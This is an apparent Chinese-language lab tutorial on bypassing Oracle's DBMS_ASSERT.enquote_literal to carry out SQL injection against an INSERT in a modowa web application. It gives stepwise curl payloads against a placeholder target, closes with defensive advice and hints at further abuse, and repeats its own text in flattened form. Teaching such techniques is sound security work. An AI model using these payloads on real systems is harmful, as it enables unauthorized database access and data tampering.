检测并实现绕过DBMS_ASSERT
字数 1176 2025-08-29 08:32:25

Oracle DBMS_ASSERT 绕过技术分析与实战教学

1. 概述

本文详细分析Oracle DBMS_ASSERT安全机制的绕过技术,特别是针对dbms_assert.enqoute_literal方法的漏洞利用。我们将通过一个实际Web应用案例,展示如何检测和绕过这一安全防护,实现SQL注入攻击。

2. DBMS_ASSERT 简介

DBMS_ASSERT是Oracle提供的一个PL/SQL包,主要用于验证和清理SQL语句中的输入,防止SQL注入攻击。其中enqoute_literal方法用于确保输入是有效的字符串字面量。

3. 漏洞背景

旧版本的dbms_assert.enqoute_literal存在一个关键缺陷:当输入包含单引号时,该方法无法正确验证和转义,导致攻击者可以构造特殊输入绕过安全防护。

4. 实验环境搭建

4.1 测试应用架构

  • Web应用框架:modowa
  • 数据库:Oracle XE
  • 功能模块:
    • 记录插入功能(add_request)
    • 记录查询功能(get_requests)

4.2 应用接口分析

通过分析HTML源码,发现两个关键AJAX调用:

// 搜索请求
/pls/public/portal.pkg_service_requests.get_requests?p_request_type=...&p_requestor=...&p_email=...&p_description=...

// 添加请求
/pls/public/portal.pkg_service_requests.add_request?p_request_type=...&p_requestor=...&p_email=...&p_description=...

5. 漏洞检测方法

5.1 自动化工具测试

  • OWASP ZAP:检测到XSS漏洞但未发现SQL注入
  • sqlmap:检测到Oracle后端和潜在注入点,但无法完成注入

5.2 手动检测步骤

  1. 尝试基本注入:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"

返回Oracle错误,显示存在防护机制

  1. 测试单引号绕过:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

返回ORA-00917错误,确认存在注入路径

6. 注入技术详解

6.1 基础注入构造

  1. 初始注入:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

→ ORA-00917: 缺少逗号

  1. 添加逗号:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"

→ ORA-01756: 引用的字符串未正确终止

  1. 使用注释终止:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"

→ ORA-00936: 缺少表达式

6.2 有效载荷注入

  1. 注入Oracle函数:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"

→ ORA-00917: 缺少逗号

  1. 补全语法:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"

→ 成功执行,返回数据库用户信息

7. 技术要点总结

  1. 注入点定位:必须在INSERT语句中寻找可利用的参数
  2. 语法构造:需要逐步调试SQL语句结构,补全缺失的语法元素
  3. 错误利用:通过分析Oracle错误信息调整注入策略
  4. 函数调用:利用Oracle内置函数(如USER、SYSDATE)获取系统信息

8. 防御建议

  1. 升级Oracle到最新版本,修复dbms_assert.enqoute_literal漏洞
  2. 实施多层防御:
    • 输入验证
    • 参数化查询
    • 最小权限原则
  3. 定期安全审计和渗透测试
  4. 监控和记录异常数据库查询

9. 扩展利用思路

虽然本文展示了如何获取基础系统信息,但INSERT注入还可用于:

  1. 数据篡改
  2. 存储过程调用
  3. 权限提升
  4. 数据库链接利用

通过精心构造的注入语句,攻击者可以实现更复杂的数据窃取和系统控制。

Oracle DBMS_ ASSERT 绕过技术分析与实战教学 1. 概述 本文详细分析Oracle DBMS_ ASSERT安全机制的绕过技术,特别是针对 dbms_assert.enqoute_literal 方法的漏洞利用。我们将通过一个实际Web应用案例,展示如何检测和绕过这一安全防护,实现SQL注入攻击。 2. DBMS_ ASSERT 简介 DBMS_ ASSERT是Oracle提供的一个PL/SQL包,主要用于验证和清理SQL语句中的输入,防止SQL注入攻击。其中 enqoute_literal 方法用于确保输入是有效的字符串字面量。 3. 漏洞背景 旧版本的 dbms_assert.enqoute_literal 存在一个关键缺陷:当输入包含单引号时,该方法无法正确验证和转义,导致攻击者可以构造特殊输入绕过安全防护。 4. 实验环境搭建 4.1 测试应用架构 Web应用框架:modowa 数据库:Oracle XE 功能模块: 记录插入功能( add_request ) 记录查询功能( get_requests ) 4.2 应用接口分析 通过分析HTML源码,发现两个关键AJAX调用: 5. 漏洞检测方法 5.1 自动化工具测试 OWASP ZAP :检测到XSS漏洞但未发现SQL注入 sqlmap :检测到Oracle后端和潜在注入点,但无法完成注入 5.2 手动检测步骤 尝试基本注入: 返回Oracle错误,显示存在防护机制 测试单引号绕过: 返回ORA-00917错误,确认存在注入路径 6. 注入技术详解 6.1 基础注入构造 初始注入: → ORA-00917: 缺少逗号 添加逗号: → ORA-01756: 引用的字符串未正确终止 使用注释终止: → ORA-00936: 缺少表达式 6.2 有效载荷注入 注入Oracle函数: → ORA-00917: 缺少逗号 补全语法: → 成功执行,返回数据库用户信息 7. 技术要点总结 注入点定位 :必须在INSERT语句中寻找可利用的参数 语法构造 :需要逐步调试SQL语句结构,补全缺失的语法元素 错误利用 :通过分析Oracle错误信息调整注入策略 函数调用 :利用Oracle内置函数(如USER、SYSDATE)获取系统信息 8. 防御建议 升级Oracle到最新版本,修复 dbms_assert.enqoute_literal 漏洞 实施多层防御: 输入验证 参数化查询 最小权限原则 定期安全审计和渗透测试 监控和记录异常数据库查询 9. 扩展利用思路 虽然本文展示了如何获取基础系统信息,但INSERT注入还可用于: 数据篡改 存储过程调用 权限提升 数据库链接利用 通过精心构造的注入语句,攻击者可以实现更复杂的数据窃取和系统控制。